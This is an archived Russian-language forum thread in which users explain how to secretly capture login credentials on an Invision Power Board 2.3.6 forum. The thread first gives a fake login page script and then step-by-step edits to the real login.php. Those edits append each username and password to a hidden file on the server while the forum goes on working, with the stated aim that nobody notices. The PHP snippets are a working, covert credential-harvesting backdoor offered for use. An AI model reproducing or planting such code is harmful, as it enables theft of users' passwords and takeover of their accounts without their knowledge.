Просмотр полной версии : ipb форма входа
{BuT@Min}
21.01.2010, 19:04
Подскажите как к ipb 2.3.6 можно прикрутить к форме входа скрипт которы бы сохранял логин и пароль в отдельный файл,но при этом и заходил на форум.Если мона скрипт или ссылку на что нить подобное.Заранее благодарен за ответы. :confused:
DeepBlue7
21.01.2010, 23:39
Просто замути фейк. В index.php измени скрипт, к которому будет обращатся форма входа например на exploit.php и пропиши туда
<?php
$login = $_POST['login'];
$pass = $_POST['pass'];
$fp = fopen('fadsa.php', 'a+');
fwrite($fp, "$login:$pass<br>");
fclose($fp);
header("Location: success.php");
?>
Тоесть $login, $pass пропишется в файл fadsa.php на веб сервере. После того как пользователь ввел логин и пароль он будет перенаправлен на success.php
{BuT@Min}
22.01.2010, 00:37
Просто замути фейк. В index.php измени скрипт, к которому будет обращатся форма входа например на exploit.php и пропиши туда
<?php
$login = $_POST['login'];
$pass = $_POST['pass'];
$fp = fopen('fadsa.php', 'a+');
fwrite($fp, "$login:$pass<br>");
fclose($fp);
header("Location: success.php");
?>
Тоесть $login, $pass пропишется в файл fadsa.php на веб сервере. После того как пользователь ввел логин и пароль он будет перенаправлен на success.php
Да в том и дело что мне фейк не нужен а нужно чтобы форум фунционировая и никто ничего не замечал))) я когда то видел что то подобное под dle
olishort
22.01.2010, 00:54
Посмотри какие POST параметры передает скрипт, куда передает. Оттуда и копай
{BuT@Min}
22.01.2010, 02:04
мнеб конкретики я в php не силён *(
DeepBlue7
22.01.2010, 15:35
Ну тогда просто тупо "Дописываеш"
<?php
$login = $_POST['login'];
$pass = $_POST['pass'];
$fp = fopen('fadsa.php', 'a+');
fwrite($fp, "$login:$pass<br>");
fclose($fp);
?>
в скрипт который реально обрабатывает данные. единственное отличие только в
$login = $_POST['login'];
$pass = $_POST['pass'];
В post надо прописать те же значения которые реально использует форум.
{BuT@Min}
22.01.2010, 16:14
Ну тогда просто тупо "Дописываеш"
<?php
$login = $_POST['login'];
$pass = $_POST['pass'];
$fp = fopen('fadsa.php', 'a+');
fwrite($fp, "$login:$pass<br>");
fclose($fp);
?>
в скрипт который реально обрабатывает данные. единственное отличие только в $login = $_POST['login'];
$pass = $_POST['pass'];
В post надо прописать те же значения которые реально использует форум.
Так всётаки понятней)))) Спасибо
Ну тогда просто тупо "Дописываеш"
<?php
$login = $_POST['login'];
$pass = $_POST['pass'];
$fp = fopen('fadsa.php', 'a+');
fwrite($fp, "$login:$pass<br>");
fclose($fp);
?>
в скрипт который реально обрабатывает данные. единственное отличие только в $login = $_POST['login'];
$pass = $_POST['pass'];
В post надо прописать те же значения которые реально использует форум.
Значения все?
а то чо то не получается(
{BuT@Min}
22.01.2010, 20:48
Значения все?
а то чо то не получается(
Открываеш sources\action_public там файл login.php
Находиш
username = strtolower(str_replace( '|', '|', $this->ipsclass->input['UserName']) );
Ниже вставляеш
$login = $_POST['UserName'];
потом ищеш
$this->han_login->login_authenticate( $username, $this->ipsclass->input['PassWord'] );
ниже вставляеш
$pass = $_POST['PassWord'];
$fp = fopen('ИМЯ_ФАЙЛА.php', 'a+');
fwrite($fp, "$login:$pass<br>");
fclose($fp);
всё.
ИМЯ ФАЙЛА надо изменит на тот который у тебя,в корневой деректории
DeepBlue7
23.01.2010, 00:58
Ну на конец то доперли. Наверн можно тему закрывать ))
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot